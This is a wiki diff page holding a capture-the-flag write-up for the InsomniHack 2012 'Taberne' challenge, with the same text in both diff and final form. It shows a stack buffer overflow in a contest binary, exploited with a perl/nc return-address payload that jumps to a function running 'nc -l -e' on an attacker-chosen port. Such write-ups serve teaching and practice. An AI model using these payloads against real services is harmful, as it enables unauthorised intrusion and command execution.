Difference between revisions of "InsomniHack-2012/Exploitation/3 Taberne"

From Fixme.ch
Jump to: navigation, search
(Created page with "Bla")
 
Line 1: Line 1:
Bla
+
We downloaded a file called "toto",
 +
 
 +
 
 +
<pre>
 +
# file toto
 +
toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
 +
 
 +
# strings toto
 +
/lib/ld-linux.so.2
 +
__gmon_start__
 +
libc.so.6
 +
_IO_stdin_used
 +
socket
 +
exit
 +
htons
 +
perror
 +
fork
 +
listen
 +
strlen
 +
bind
 +
read
 +
memcpy
 +
strcat
 +
bzero
 +
system
 +
atoi
 +
close
 +
accept
 +
__libc_start_main
 +
write
 +
snprintf
 +
GLIBC_2.0
 +
PTRh@
 +
[^_]
 +
ERROR writing to socket
 +
nc -l -e /tmp/showpass.sh -p
 +
ERROR opening socket
 +
ERROR on binding
 +
ERROR on accept
 +
Error on fork
 +
Adieu l'ami, dis-voir c'que c'est ton mot de passe:
 +
De dieu, tu t'en souviens pas? C'est balot!
 +
 
 +
# ./toto 1234
 +
</pre>
 +
 
 +
On another terminal, we get:
 +
<pre>
 +
> nc 172.16.199.131 1234
 +
Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla
 +
De dieu, tu t'en souviens pas? C'est balot!
 +
</pre>
 +
 
 +
It's an exploitation, so on the server, we trace the program (it forks, to we follow the child):
 +
<pre>
 +
# gdb -q ./toto
 +
(gdb) set follow-fork-mode child
 +
(gdb) set disassembly-flavor intel
 +
(gdb) r 1234
 +
Starting program: /root/toto 1234
 +
</pre>
 +
 
 +
On the client, let's do:
 +
<pre>
 +
> echo  `perl -e 'print "A"x24  '`| nc 172.16.199.131 1234
 +
Adieu l'ami, dis-voir c'que c'est ton mot de passe:
 +
 
 +
And the server segfaults:
 +
Program received signal SIGSEGV, Segmentation fault.
 +
[Switching to process 1962]
 +
0x41414141 in ?? ()
 +
</pre>
 +
The backtrace is definitely screwed, so we just have a quick look:
 +
 
 +
<pre>
 +
 
 +
0804888c <checkPass>:
 +
804888c:      55                      push  ebp
 +
804888d:      89 e5                  mov    ebp,esp
 +
804888f:      83 ec 28                sub    esp,0x28
 +
8048892:      c7 44 24 08 20 00 00    mov    DWORD PTR [esp+0x8],0x20 <------
 +
8048899:      00
 +
804889a:      8d 45 f0                lea    eax,[ebp-0x10]
 +
804889d:      89 44 24 04            mov    DWORD PTR [esp+0x4],eax
 +
80488a1:      8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 +
80488a4:      89 04 24                mov    DWORD PTR [esp],eax
 +
80488a7:      e8 48 fd ff ff          call  80485f4 <read@plt>
 +
80488ac:      c9                      leave 
 +
80488ad:      c3                      ret 
 +
</pre>
 +
 
 +
 
 +
 
 +
We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:
 +
 
 +
 
 +
<pre>
 +
(gdb) b *0x80488ad
 +
Breakpoint 1 at 0x80488ad
 +
(gdb) b *0x80488ad
 +
Breakpoint 1 at 0x80488ad
 +
 
 +
 
 +
Breakpoint 1, 0x080488ad in checkPass ()
 +
Current language:  auto; currently asm
 +
(gdb) x /16wx $esp
 +
0xbfe019ac: 0x41414141 0x0000000a 0x00000007 0xbfe01afc
 +
0xbfe019bc: 0xb7f02ff4 0xb7ee6b0c 0x00000001 0xbfe01a44
 +
0xbfe019cc: 0xb5df0002 0x01c710ac 0x00000000 0x00000000
 +
0xbfe019dc: 0xd4040002 0x00000000 0x00000000 0x00000000
 +
</pre>
 +
So we rewrote with 0x41414141. What to put here ?
 +
By having a very quick look at the binary, there is an interesting function called pwnthis:
 +
 
 +
 
 +
 
 +
<pre>
 +
(gdb) disassemble pwnthis
 +
Dump of assembler code for function pwnthis:
 +
0x080487ef <pwnthis+0>: push  ebp
 +
0x080487f0 <pwnthis+1>: mov    ebp,esp
 +
0x080487f2 <pwnthis+3>: push  ebx
 +
0x080487f3 <pwnthis+4>: sub    esp,0x124
 +
0x080487f9 <pwnthis+10>: mov    eax,DWORD PTR [ebp+0x8]
 +
0x080487fc <pwnthis+13>: mov    DWORD PTR [esp+0xc],eax
 +
0x08048800 <pwnthis+17>: mov    DWORD PTR [esp+0x8],0x8048b18
 +
0x08048808 <pwnthis+25>: mov    DWORD PTR [esp+0x4],0x5
 +
0x08048810 <pwnthis+33>: lea    eax,[ebp-0x9]
 +
0x08048813 <pwnthis+36>: mov    DWORD PTR [esp],eax
 +
0x08048816 <pwnthis+39>: call  0x80486b4 <snprintf@plt>
 +
0x0804881b <pwnthis+44>: mov    DWORD PTR [esp+0x4],0x100
 +
0x08048823 <pwnthis+52>: lea    eax,[ebp-0x109]
 +
0x08048829 <pwnthis+58>: mov    DWORD PTR [esp],eax
 +
0x0804882c <pwnthis+61>: call  0x80486a4 <bzero@plt>
 +
0x08048831 <pwnthis+66>: mov    DWORD PTR [esp+0x8],0x1e
 +
0x08048839 <pwnthis+74>: mov    DWORD PTR [esp+0x4],0x8048b1b
 +
0x08048841 <pwnthis+82>: lea    ebx,[ebp-0x109]
 +
0x08048847 <pwnthis+88>: lea    eax,[ebp-0x109]
 +
0x0804884d <pwnthis+94>: mov    DWORD PTR [esp],eax
 +
0x08048850 <pwnthis+97>: call  0x8048644 <strlen@plt>
 +
0x08048855 <pwnthis+102>: lea    eax,[ebx+eax*1]
 +
0x08048858 <pwnthis+105>: mov    DWORD PTR [esp],eax
 +
0x0804885b <pwnthis+108>: call  0x8048634 <memcpy@plt>
 +
0x08048860 <pwnthis+113>: lea    eax,[ebp-0x9]
 +
0x08048863 <pwnthis+116>: mov    DWORD PTR [esp+0x4],eax
 +
0x08048867 <pwnthis+120>: lea    eax,[ebp-0x109]
 +
0x0804886d <pwnthis+126>: mov    DWORD PTR [esp],eax
 +
0x08048870 <pwnthis+129>: call  0x8048684 <strcat@plt>
 +
0x08048875 <pwnthis+134>: lea    eax,[ebp-0x109]
 +
0x0804887b <pwnthis+140>: mov    DWORD PTR [esp],eax
 +
0x0804887e <pwnthis+143>: call  0x80485a4 <system@plt>
 +
0x08048883 <pwnthis+148>: add    esp,0x124
 +
0x08048889 <pwnthis+154>: pop    ebx
 +
0x0804888a <pwnthis+155>: pop    ebp
 +
0x0804888b <pwnthis+156>: ret   
 +
 
 +
</pre>
 +
 
 +
 
 +
 
 +
So we are going to write the address to return there and break before the system to see the content:
 +
 
 +
<pre>
 +
> echo  `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234
 +
Adieu l'ami, dis-voir c'que c'est ton mot de passe:
 +
</pre>
 +
And on the server side:
 +
<pre>
 +
Breakpoint 2, 0x0804887e in pwnthis ()
 +
(gdb) x /wx $esp
 +
0xbf9e3c64: 0xbf9e3c83
 +
(gdb) x /s 0xbf9e3c83
 +
0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 7
 +
</pre>
 +
Amazing, it's gonna open a local port on 7. You can modify the port, since it's part of the buffer you write
 +
0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128"
 +
 
 +
So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, I couldn't validate.
 +
<pre>
 +
> nc 172.16.199.131 1128
 +
</pre>

Revision as of 23:54, 5 March 2012

We downloaded a file called "toto",


# file toto 
toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

# strings toto 
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
socket
exit
htons
perror
fork
listen
strlen
bind
read
memcpy
strcat
bzero
system
atoi
close
accept
__libc_start_main
write
snprintf
GLIBC_2.0
PTRh@
[^_]
ERROR writing to socket
nc -l -e /tmp/showpass.sh -p 
ERROR opening socket
ERROR on binding
ERROR on accept
Error on fork
Adieu l'ami, dis-voir c'que c'est ton mot de passe: 
De dieu, tu t'en souviens pas? C'est balot!

# ./toto 1234

On another terminal, we get:

> nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla
De dieu, tu t'en souviens pas? C'est balot!

It's an exploitation, so on the server, we trace the program (it forks, to we follow the child):

# gdb -q ./toto 
(gdb) set follow-fork-mode child
(gdb) set disassembly-flavor intel
(gdb) r 1234
Starting program: /root/toto 1234

On the client, let's do:

> echo  `perl -e 'print "A"x24  '`| nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe:

And the server segfaults:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1962]
0x41414141 in ?? ()

The backtrace is definitely screwed, so we just have a quick look:


0804888c <checkPass>:
 804888c:       55                      push   ebp
 804888d:       89 e5                   mov    ebp,esp
 804888f:       83 ec 28                sub    esp,0x28
 8048892:       c7 44 24 08 20 00 00    mov    DWORD PTR [esp+0x8],0x20 <------
 8048899:       00 
 804889a:       8d 45 f0                lea    eax,[ebp-0x10]
 804889d:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80488a1:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80488a4:       89 04 24                mov    DWORD PTR [esp],eax
 80488a7:       e8 48 fd ff ff          call   80485f4 <read@plt>
 80488ac:       c9                      leave  
 80488ad:       c3                      ret  


We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:


(gdb) b *0x80488ad
Breakpoint 1 at 0x80488ad
(gdb) b *0x80488ad
Breakpoint 1 at 0x80488ad


Breakpoint 1, 0x080488ad in checkPass ()
Current language:  auto; currently asm
(gdb) x /16wx $esp
0xbfe019ac:	0x41414141	0x0000000a	0x00000007	0xbfe01afc
0xbfe019bc:	0xb7f02ff4	0xb7ee6b0c	0x00000001	0xbfe01a44
0xbfe019cc:	0xb5df0002	0x01c710ac	0x00000000	0x00000000
0xbfe019dc:	0xd4040002	0x00000000	0x00000000	0x00000000

So we rewrote with 0x41414141. What to put here ? By having a very quick look at the binary, there is an interesting function called pwnthis:


(gdb) disassemble pwnthis 
Dump of assembler code for function pwnthis:
0x080487ef <pwnthis+0>:	push   ebp
0x080487f0 <pwnthis+1>:	mov    ebp,esp
0x080487f2 <pwnthis+3>:	push   ebx
0x080487f3 <pwnthis+4>:	sub    esp,0x124
0x080487f9 <pwnthis+10>:	mov    eax,DWORD PTR [ebp+0x8]
0x080487fc <pwnthis+13>:	mov    DWORD PTR [esp+0xc],eax
0x08048800 <pwnthis+17>:	mov    DWORD PTR [esp+0x8],0x8048b18
0x08048808 <pwnthis+25>:	mov    DWORD PTR [esp+0x4],0x5
0x08048810 <pwnthis+33>:	lea    eax,[ebp-0x9]
0x08048813 <pwnthis+36>:	mov    DWORD PTR [esp],eax
0x08048816 <pwnthis+39>:	call   0x80486b4 <snprintf@plt>
0x0804881b <pwnthis+44>:	mov    DWORD PTR [esp+0x4],0x100
0x08048823 <pwnthis+52>:	lea    eax,[ebp-0x109]
0x08048829 <pwnthis+58>:	mov    DWORD PTR [esp],eax
0x0804882c <pwnthis+61>:	call   0x80486a4 <bzero@plt>
0x08048831 <pwnthis+66>:	mov    DWORD PTR [esp+0x8],0x1e
0x08048839 <pwnthis+74>:	mov    DWORD PTR [esp+0x4],0x8048b1b
0x08048841 <pwnthis+82>:	lea    ebx,[ebp-0x109]
0x08048847 <pwnthis+88>:	lea    eax,[ebp-0x109]
0x0804884d <pwnthis+94>:	mov    DWORD PTR [esp],eax
0x08048850 <pwnthis+97>:	call   0x8048644 <strlen@plt>
0x08048855 <pwnthis+102>:	lea    eax,[ebx+eax*1]
0x08048858 <pwnthis+105>:	mov    DWORD PTR [esp],eax
0x0804885b <pwnthis+108>:	call   0x8048634 <memcpy@plt>
0x08048860 <pwnthis+113>:	lea    eax,[ebp-0x9]
0x08048863 <pwnthis+116>:	mov    DWORD PTR [esp+0x4],eax
0x08048867 <pwnthis+120>:	lea    eax,[ebp-0x109]
0x0804886d <pwnthis+126>:	mov    DWORD PTR [esp],eax
0x08048870 <pwnthis+129>:	call   0x8048684 <strcat@plt>
0x08048875 <pwnthis+134>:	lea    eax,[ebp-0x109]
0x0804887b <pwnthis+140>:	mov    DWORD PTR [esp],eax
0x0804887e <pwnthis+143>:	call   0x80485a4 <system@plt>
0x08048883 <pwnthis+148>:	add    esp,0x124
0x08048889 <pwnthis+154>:	pop    ebx
0x0804888a <pwnthis+155>:	pop    ebp
0x0804888b <pwnthis+156>:	ret    


So we are going to write the address to return there and break before the system to see the content:

> echo  `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe: 

And on the server side:

Breakpoint 2, 0x0804887e in pwnthis ()
(gdb) x /wx $esp
0xbf9e3c64:	0xbf9e3c83
(gdb) x /s 0xbf9e3c83
0xbf9e3c83:	 "nc -l -e /tmp/showpass.sh -p 7

Amazing, it's gonna open a local port on 7. You can modify the port, since it's part of the buffer you write 0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128"

So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, I couldn't validate.

> nc 172.16.199.131 1128